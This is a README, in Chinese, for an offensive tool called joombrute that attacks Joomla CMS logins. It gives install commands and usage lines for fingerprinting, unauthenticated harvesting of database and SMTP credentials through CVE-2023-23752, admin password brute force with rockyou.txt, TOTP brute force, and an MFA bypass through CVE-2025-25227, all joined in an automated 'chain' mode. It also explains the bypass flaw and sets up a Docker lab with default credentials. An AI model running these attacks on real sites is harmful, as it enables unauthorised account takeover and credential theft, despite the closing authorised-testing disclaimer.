
现代 Joomla 认证攻击工具包
J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227
Joomla 凭证攻击工具包,覆盖 CMS 版本 3、4 和 5。六个子命令处理完整的端到端攻击链:
detect - 版本指纹识别(manifest XML → generator meta → admin 标记)enum - CVE-2023-23752 未认证 API 数据收集:用户名、数据库主机/用户/密码、SMTP 凭证、应用密钥brute - 并发管理员登录暴力破解,每个工作线程独立会话隔离,四种结果分类(成功 / 需要MFA / 无效 / 已封锁)mfa-brute - CVE-2023-23755 针对锁定 MFA 屏幕的穷举 6 位 TOTP 攻击mfa-bypass - CVE-2025-25227 通过 view=methods(及其他四个候选视图/任务)在半认证会话上绕过 MFAchain - 全自动流程:检测 → 枚举 → 暴力破解 → 当暴力破解遇到锁定屏幕时自动切换到 MFA 绕过单一静态二进制文件,无运行时依赖。原生 goroutine 并发,每个工作线程独立 cookie jar。JSONL 输出用于 SIEM 摄入。支持 HTTP/HTTPS/SOCKS5 代理。已针对 Joomla 3.10、4.2.7 和 5.4.6 Docker 实验室进行了端到端验证。
# 选项 A - Go 安装(需要 Go 1.22+)
go install github.com/rvzsec/joombrute/cmd/joombrute@latest
# 选项 B - 从发布版下载预编译二进制文件
curl -L -o joombrute https://github.com/rvzsec/joombrute/releases/latest/download/joombrute-linux-amd64
chmod +x joombrute
# 选项 C - 从源码构建
git clone https://github.com/rvzsec/joombrute
cd joombrute
make
joombrute detect -u <目标>
joombrute enum -u <目标>
joombrute brute -u <目标> --user admin -w rockyou.txt -c 20
joombrute mfa-brute -u <目标> --user admin --password <密码> -c 50
joombrute mfa-bypass -u <目标> --user admin --password <密码>
joombrute chain -u <目标> -w rockyou.txt -c 20
# JSONL 输出用于管道 / SIEM 摄入
joombrute --json brute -u <目标> --user admin -w rockyou.txt > hits.jsonl
CVE-2025-25227 利用了 MultiFactorAuthenticationHandler::needsMultiFactorAuthenticationRedirection() 方法,该方法在调用 isMultiFactorAuthenticationPage() 时没有使用 $onlyCaptive 标志——绕过豁免列表静默地包含了 MFA 管理视图(view=methods、view=method、view=callback、task=method.add ……),半认证会话可以导航到这些视图而无需解决锁定挑战。
detect - 通过 joomla.xml manifest → <meta name="generator"> → admin 标记进行指纹识别enum - CVE-2023-23752 未认证 API 数据收集(用户、数据库主机/用户/密码、SMTP、应用密钥)brute - 管理员表单暴力破解,每个工作线程独立会话隔离,四种结果分类(success / mfa-required / invalid / blocked)mfa-brute - CVE-2023-23755 针对锁定屏幕的 6 位 TOTP 暴力破解mfa-bypass - CVE-2025-25227 状态检查绕过探测(非破坏性)chain - 全自动:检测 → 枚举 → 暴力破解 → MFA 绕过探测make lab # docker compose up + 播种 J3.10 / J4.2.7 / J5.x 并创建管理员用户
make smoke # 端到端测试所有三个版本(无 MFA)
make lab-mfa # 在 J4 管理员上播种已知的 TOTP 密钥(用于 mfa-* 测试)
make smoke-mfa # brute -> mfa-required, mfa-bypass 漏洞, chain 自动转换
make lab-mfa-off # 移除 MFA 记录(恢复为普通管理员)
make lab-down # 全部拆除
实验室安装程序完全绕过 Joomla 的 Web 安装程序——直接将安装 SQL 加载到 MySQL 中,插入一个管理员用户(admin / admin1234),并写入一个最小的 configuration.php。seed_mfa.php 使用 Joomla 自有的 AES-128-CBC + 密钥加密,因此锁定端点可以正确解密。仅限实验室——两个脚本都假定 lab/docker-compose.yml 中的标准 joombrute-* 容器名称。
make all
# 生成 dist/joombrute-{linux,darwin,windows}-{amd64,arm64} 静态链接
仅限授权安全测试。仅在您拥有明确书面许可的系统上运行。产生的流量会被任何 IDS 捕获。维护者不承担任何滥用责任。
Ravindu Wickramasinghe | rvz (@rvzsec) · www.zyenra.com
| CVE | 受影响版本 | 模式 | 修复版本 | 实验室验证 |
|---|
| CVE-2023-23752 | 4.0.0 - 4.2.7 | enum | 4.2.8 (2023-02) | ✅ J4.2.7 |
| CVE-2023-23755 | 4.2.0 - 4.3.1 | mfa-brute | 4.3.2 (2023-05) | ✅ J4.2.7 |
| CVE-2025-25227 | 4.0.0 - 4.4.12, 5.0.0 - 5.2.5 | mfa-bypass | 4.4.13 / 5.2.6 (2025-04) | ✅ J4.2.7 |